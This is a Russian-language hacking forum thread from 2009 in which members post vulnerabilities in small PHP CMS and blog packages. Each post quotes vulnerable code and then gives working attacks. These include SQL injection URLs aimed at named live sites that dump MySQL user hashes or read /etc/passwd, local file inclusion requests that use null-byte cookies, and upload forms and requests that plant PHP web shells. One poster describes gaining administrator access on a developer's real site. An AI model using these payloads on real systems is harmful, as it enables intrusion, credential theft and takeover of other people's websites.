ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

28.12.2009, 05:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Продукт: CMS-DIYAN CMS без MySQL
Скачать : http://cms-diyan.ru/index.php?file=download
ось: WIN
LFI:
линки:
http://dyian/index.php?file=\..\user\1.txt
http://dyian/index.php?file=\..\user\1.txt&news
PHP код:
include_once('php/function.php');
if (!isset($_GET["file"])){
$ret=vizov_file("index");
}
if (isset($_GET["file"])){
$file=$_GET["file"];
if (!ereg('^[^./][^/]*$', $file)) die("сработала защита от взлома!");
$ret=vizov_file($file);
}
PHP код:
function vizov_file($file)
{
$filedir="files/".$file;
if (isset($_GET['news']))$filedir="news/".$file;
if (file_exists($filedir)){
if ((isset($_GET["dlyadruzey"]))&&(@fopen("http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"], "r")))$filedir="http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"];
if (!file_exists($filedir))die('Не найден файл '.$filedir);
$handle = fopen($filedir, "r");
$ret[4] = ''; $i=0;
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
if($i==0) $ret[0]=$buffer;
elseif($i==1) $ret[1]=$buffer;
elseif($i==2) $ret[2]=$buffer;
elseif($i==3) $ret[3]=$buffer;
else $ret[4].=$buffer;
$i++;
}
fclose($handle);
Последний раз редактировалось Strilo4ka; 28.12.2009 в 14:08..
|
|
|

28.12.2009, 22:02
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
Magazin IT online (Design & Development by Twenty Advertising)
http://www.accessdatamedia.ro
SQL
stiri.php
PHP код:
if(isset($_GET['id']) && ($_GET['id']!=""))
{
$where=' WHERE `news`.`id_news`='.$_GET['id'];
}
mysql_select_db($database_conn, $conn);
$query_news = "SELECT * FROM news ".$where;
http://www.accessdatamedia.ro/stiri.php?id=-100+union+all+select+1,concat_ws(0x203a20,version( ),user(),host,user,password,file_priv),3,4+from+my sql.user+--+
certificare.php
PHP код:
$query_news = "SELECT * FROM `certifications` where id_certification=".stripslashes($_GET['id']);
http://www.accessdatamedia.ro/certificare.php?id=-3+union+select+1,2,load_file(0x2f6574632f706173737 764),4+--+
|
|
|

28.12.2009, 23:04
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
BlognPlus
http://www.blogn.org/
SQL
index.php
PHP код:
case "e":
$blogn_entry_id = @$_GET["e"];
$blogn_skin = preg_replace("/\{SEARCH\}[\w\W]+?\{\/SEARCH\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{PROFILES\}[\w\W]+?\{\/PROFILES\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{COMMENTLIST\}[\w\W]+?\{\/COMMENTLIST\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{COMMENTNEW\}[\w\W]+?\{\/COMMENTNEW\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{TRACKBACKLIST\}[\w\W]+?\{\/TRACKBACKLIST\}/", "", $blogn_skin);
$blogn_skin = preg_replace("/\{TRACKBACKNEW\}[\w\W]+?\{\/TRACKBACKNEW\}/", "", $blogn_skin);
$blogn_skin = blogn_entry_view($blogn_user, $blogn_skin, $blogn_entry_id);
nikkiFuntions.php
PHP код:
function blogn_entry_view($user, $skin, $entry_id) {
$skin = preg_replace("/\{LOG\}/", "", $skin);
$skin = preg_replace("/\{LOG[ ]+([\w\W]+?)\}/", "", $skin);
$skin = preg_replace("/\{\/LOG\}/", "", $skin);
$nextbackurl = blogn_mod_db_log_nextback_url($user, $entry_id);
db_mysql.php
PHP код:
function blogn_mod_db_log_nextback_url($user, $key_id) {
$sql_connect = @mysql_connect(BLOGN_DB_HOST.":".BLOGN_DB_PORT, BLOGN_DB_USER, BLOGN_DB_PASS);
mysql_select_db(BLOGN_DB_NAME);
$qry = "SELECT date FROM ".BLOGN_DB_PREFIX."_loglist WHERE id = ".$key_id;
http://hangulnikki.hanguk.jp/index.php?e=-100+union+select+1,2,3,4,5,6,7,8,9,10,load_file('/etc/passwd'),concat_ws(0x203a20,version(),user(),host, user,password,file_priv),13+from+mysql.user--
|
|
|

22.12.2009, 12:22
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
В дополнение к #249
Blind-SQL
file: validate.php
PHP код:
$username = $_GET["username"];
$password = $_GET["password"];
if(!isset($_COOKIE["deeemm"])) {
//no cookie so reset cookie just in case
setcookie ("deeemm", "", time() - 3600);
} elseif (isset($_COOKIE["deeemm"])) {
//get data from cookie
$user = explode(" ",$_COOKIE["deeemm"]);
//compare data against database
$sql_query = "SELECT * FROM `" . $db_table_prefix . "users` WHERE `user_name` = '$user[0]'";
$result = mysql_db_query($db_name, $sql_query);
target: Устанавливаем себе куку deemm со значением:
"'+union+select+1,2,3,4,5,6,7,8,9,10+--+ pew-pew"
Upload Shell
Need: register_globals = ON
file: includes/upload_file.php
PHP код:
if (isset($_FILES['file_data'])) {
if ($filename) {
$destination_file = $default_path . $media_dir . $filename;
echo strtolower(basename($_FILES['file_data']['name']));
}
if (file_exists($destination_file)) {
$count = 1;
while (file_exists($destination_file)) {
$filename = $count . '_' . $filename;
$destination_file = $default_path . $media_dir . $filename;
$count++;
}
}
if ($filename && !file_exists($destination_file)) {
if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $destination_file)) {
echo '<br>' . "Upload failed!" . '<br>';
echo $destination_file . '<br>';
echo ($_FILES['file_data']['name']) . '<br>';
echo ($_FILES['file_data']['tmp_name']) . '<br>';
echo ($_FILES['file_data']['size']) . '<br>';
echo ($_FILES['file_data']['type']) . '<br>';
echo ($_FILES['file_data']['error']) . '<br>';
//print_r ($_FILES);
exit;
}
}
}
target: Написал Super-Exploit.
Код:
<form action="http://HOST.com/upload_file.php" method="post" enctype="multipart/form-data">
Shell file: <input type="file" name="file_data"><br>
Path: <input type="text" name="default_path"><br>
Shell name: <input type="text" name="filename"><br>
<input type="submit" value="Xek!"><br>
</form>
Вписываем например:
Path: ./
Shell name: shell.php
Xek!
Шелл окажеться в тойже папке что и upload_file.php
Последний раз редактировалось m0Hze; 22.12.2009 в 12:40..
|
|
|

22.12.2009, 13:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
Qikblogger (qb-krypton-0.9beta-patched)
http://qikblogger.sourceforge.net
Blind SQL
mq=off
tag.php
PHP код:
if ( isset($_GET['blog_name']) && isset($_GET['tagname']) ) {
$blog_name = trim($_GET['blog_name']);
$tagname = trim($_GET['tagname']);
,,,
$post_ids = $b->get_tag_posts($tagname);
blogs.php
PHP код:
function get_tag_posts($tagname)
if ( $db->query("SELECT tags.post_id as ids FROM tags, posts WHERE tags.tagname='$tagname' AND tags.blog_name='$this->blog_name' AND tags.post_id=posts.post_id AND posts.disp_dt < CURRENT_TIMESTAMP() ORDER BY posts.disp_dt DESC ;") ) {
http://localhost/qb/tag.php?blog_name=barbie&tagname=barbie'+union+sel ect+1+--+1
|
|
|

22.12.2009, 18:57
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: LimnyCMS
Author: http://www.limny.org/
Version: 1.0.1
LFI
По сегодняшней традиции,оно нестрандартное,а немножно интересное
file: ajax.php
PHP код:
if(substr($_POST['page'], 0, 3) != "sub")
{
define("LANGUAGE", Language());
}
else
{
define("USER", @$_POST['user']);
define("LANGUAGE", UserLanguage(USER));
}
// SESSION
if($_POST['page'] == "contact" or $_POST['page'] == "scontact" or $_POST['page'] == "subscontact" or $_POST['page']=="registernow")
{
session_start();
}
// CAN NOT MODIFY HEADERS
if(@$_GET['page'] != "size")
{
require("languages/".LANGUAGE.".php");
Обратите внимание на установку Констант и на ф-цию UserLanguage(USER)
PHP код:
function UserLanguage($username)
{
if(isset($_COOKIE['ulanguage']))
{
return $_COOKIE['ulanguage'];
}
else
{
return UserSettings($username, "language");
}
}
Таким образом:
target:
Код:
POST /target/ajax.php?page=pewpew HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Cookie: ulanguage=../../{LOCAL_FILE}%00;
Connection: keep-alive
page=sub&user=lolita
Вуаля
Blind-SQL
file: cookie.php
PHP код:
switch($_POST['cookie'])
{
case("login");
$user=@$_POST['user'];
$pass=md5(@$_POST['pass']);
$login_result=$db->query("SELECT user, pass, ban FROM ".TABLE_PREFIX."users WHERE user='$user' AND pass='$pass'");
if($login_row=$db->fetch_array($login_result)){
if($login_row['ban']=="1"){echo "Ban!";exit;}
setcookie("username", $login_row['user'], time()+86400, '/', '', 0);
setcookie("password", $login_row['pass'], time()+86400, '/', '', 0);
Проверять можно по кукам,если обнулились - fail  .
target: {POST} ?user=lolita'+union+select+1,2,3,4,5,6,7,8,9,10,11 ,12,13,141,516,17,18,19,20,21+--+
Последний раз редактировалось m0Hze; 22.12.2009 в 19:02..
|
|
|

22.12.2009, 22:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме: 3217552
Репутация:
1668
|
|
Дополнение к посту m0Hze
Local File Inclusion
Vuln file: aajax.php [str:11]
PHP код:
require("config.php");
require("includes/functions.php");
require("includes/class_mysql.php");
$db = new dbEngine;
$db->connect(HOSTNAME, USERNAME, PASSWORD);
$db->select(DATABASE);
define("LANGUAGE", Language());
require("languages/".LANGUAGE.".php");
/*...*/
Смотрим функцию Language() (includes/functions.php)
PHP код:
/*...*/
function Language()
{
if(CheckLogin($_COOKIE['username'], $_COOKIE['password']) == true)
{
$language = UserOption($_COOKIE['username'], "lang");
if(isset($_COOKIE['language']) and $_COOKIE['language'] != $language)
{
/*...*/
}
return $language;
}
else
{
if(isset($_COOKIE['language']))
{
$language = $_COOKIE['language'];
}
else
{
$language = Settings("language");
}
}
return $language;
}
/*...*/
Exploit:
if magic_quotes = OFF
Код:
GET http://[host]/[path]/aajax.php HTTP/1.0
Cookie: language=../../../../../../../[local_file]%00
* так же уязвимы файлы: ajax.php, majax.php, print.php, uajax.php
SQL Injection
Vuln file: ajax.php [str:397]
PHP код:
/*...*/
$order=@$_POST['order'];
$newsgroup=@$_POST['newsgroup'];
$number=round(@$_POST['number']);
$username=@$_POST['user'];
if(!is_numeric($number) OR $number<=0){echo "<div class=\"error\">".$lang['error1']."</div>";exit;}
if($newsgroup=="all"){$ng="";}else{$ng=" newsgroup='$newsgroup' AND";}
if($order!="date"){
$lastnews_result=$db->query("SELECT id, title, pretext, datetime FROM ".TABLE_PREFIX."usernews WHERE user='$username' AND lang='".LANGUAGE."' AND$ng releasestatus='1' ORDER BY datetime DESC LIMIT $number");
}else{
/*...*/
Exploit:
if magic_quotes = OFF
Код:
POST http://[host]/[path]/ajax.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 175
Cookie: language=en
Connection: Close
Pragma: no-cache
newsgroup=xek' union select null,concat_ws(0x3a,user,pass),null,null from lmn_users -- &page=newslist&number=1
-------------------------------------
Limny 1.01 (Auth Bypass) SQL Injection Vulnerability
Последний раз редактировалось RulleR; 22.12.2009 в 22:41..
|
|
|

23.12.2009, 15:56
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме: 835386
Репутация:
1463
|
|
GEOBLOG 1.0 STABLE
http://sourceforge.net/projects/bitdamaged/
SQL
Скрипты в корне блога содержат строки:
PHP код:
if(!is_numeric($id)) {
print("Dont Be A h4x0r!!!");
exit();
Скрипты в админке проверяют
PHP код:
if($_SESSION['login'] != "user_valid_and_logged_in") {
header("Location: ../index.php");
} //End IF
admin/listcomment.php не содержит таких проверок, поэтому
PHP код:
$query[747] = mysql_query("SELECT * FROM geo_comment WHERE linkid='$id'");
уязвим, при
magic_quotes_gpc = Off
register_globals = On
http://localhost/geoBlog/admin/listcomment.php?id=2'+union+select+1,2,3,4,5,versi on(),7,8+--+1
|
|
|

23.12.2009, 22:22
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: SkyBlueCanvas
Author: www.skybluecanvas.com
Version: 1.1
Upload-ShellCode
File: /wym/image.upload.php
PHP код:
if (isset($_FILES['upload']) && !empty($_FILES['upload']['name'])) {
$file = $_FILES['upload'];
$dest = $_POST['upload_dir'];
$ini = FileSystem::read_config(
"../" . SB_MANAGERS_DIR . "media/config.php"
);
$types = array();
if (isset($ini['mimes'])) {
$types = $ini['mimes'];
}
$targets = FileSystem::list_dirs(SB_MEDIA_DIR);
array_push($targets, SB_DOWNLOADS_DIR);
array_push($targets, SB_UPLOADS_DIR);
array_push($targets, ACTIVE_SKIN_DIR . "images/");
list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
if ($exitCode == 1) {
$success = true;
$message = '<div class="msg-success-small"><h2>Success!</h2></div>';
}
else {
$message = '<div class="msg-error-small"><h2>An unknown error occurred</h2></div>';
}
}
Нас интересует: list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
File: /include/core.php
PHP код:
function UploadFile($file, $dest, $allowtypes, $maxsize=5000000, $targets=array()) {
$Uploader = new Uploader($allowtypes, $targets);
return $Uploader->upload($file, $dest);
}
$Uploader->upload($file, $dest);
File: /include/uploader.php
PHP код:
function upload($file, $dest) {
if ($dest{strlen($dest)-1} != '/') $dest .= '/';
$fname = $file['name'];
$ftype = trim($file['type']);
$fsize = $file['size'];
$newfile = null;
if ($fsize > $this->max_size) {
$exitCode = 7;
}
else if ($fsize > $this->free_space) {
$exitCode = 8;
}
else if (!in_array($ftype, $this->types)) {
$exitCode = 4;
}
else if (!in_array($dest, $this->targets)) {
$exitCode = 4;
}
else {
$newfile = $dest.$fname;
$max = 100;
$ticker = 0;
while (file_exists($newfile) && $ticker < $max) {
$ticker++;
$bits = explode('.', $fname);
$ext = $bits[count($bits)-1];
$base = implode('.', array_slice($bits, 0, -1));
$newfile = $dest."$base.$ticker.$ext";
}
if (is_uploaded_file($file['tmp_name'])) {
$exitCode = move_uploaded_file($file['tmp_name'], $newfile);
}
else {
$exitCode = 0;
}
}
return array($exitCode, $newfile);
}
Ну вот и добрались до сути.
Target: Из-за того,что файл целевой файл( image.upload.php) просто открываеться в браузере,не происходит установки разрешеных к аплоаду расширений файлов.Так что просто отсылаем файл и POST- запрос:
upload_dir=../../
Колво ../ подъемов по ФС может быть сколько душе угодно,все зависит от настроек сервера,и где лежит сама ЦМС.В итоге заимеем шелл с названием:
Отсылали: shell.php
Получили: shell..php
|
|
|

24.12.2009, 14:57
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Update: #244
Версия ядра обновилась.Целевая версия - 1.1.Как водиться,с обновлением, разработчики только прибавили дырок.
SQL-inj
File: downloads.php
PHP код:
if(isset($_GET['cat'])){
$result = mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error());
$content .=" <div class='post' id='post-8'> ";
while($downloads = mysql_fetch_array( $result )) {
$content .="
<table width='100%' cellpadding='0' cellspacing='1' class='tbl-border'>
<tr>
<td colspan='3' class='tbl2'><strong><a href='".DOWNLOADS.$downloads['file']."'>".$downloads['name']."</a></strong>
</td>
<tr>
<td colspan='3' class='tbl1'>".$downloads['description']."</td>
</tr>
<tr>
<td width='30%' class='tbl2'><strong>Added:</strong> ".$downloads['uploaded']."</td>
<td width='30%' class='tbl1'><strong>Uploaded by:</strong><b><a href='".BASEDIR."profile.php?view=".$downloads['uploader']."'> ".$downloads['uploader']."</b></a></td>
<td width='40%' class='tbl2'><b><a href='".$_SERVER['PHP_SELF']."?download=".$downloads['id']."'>Download (".$downloads['downloaded'].")</a></b></td>
</tr>
</table><br>
";
}
Target: Сайт разработчика:
http://sphere.xlentprojects.se/downloads.php?cat=1+union+select+1,id,3,4,username ,password,7,8,9+from+xcms_members+--+
Логинимся - мы администраторы.Не будем ничеготрогать,мы же не хокеры
Пропустим мимо глаз то,что уязвимы 70% всех файлов.В 1 вывод лучше всего,на нем и остановимся.
не надо логин-пароль писать
Последний раз редактировалось HAXTA4OK; 24.12.2009 в 15:11..
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Библиотека
|
SladerNon |
Болталка |
17 |
05.02.2007 23:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|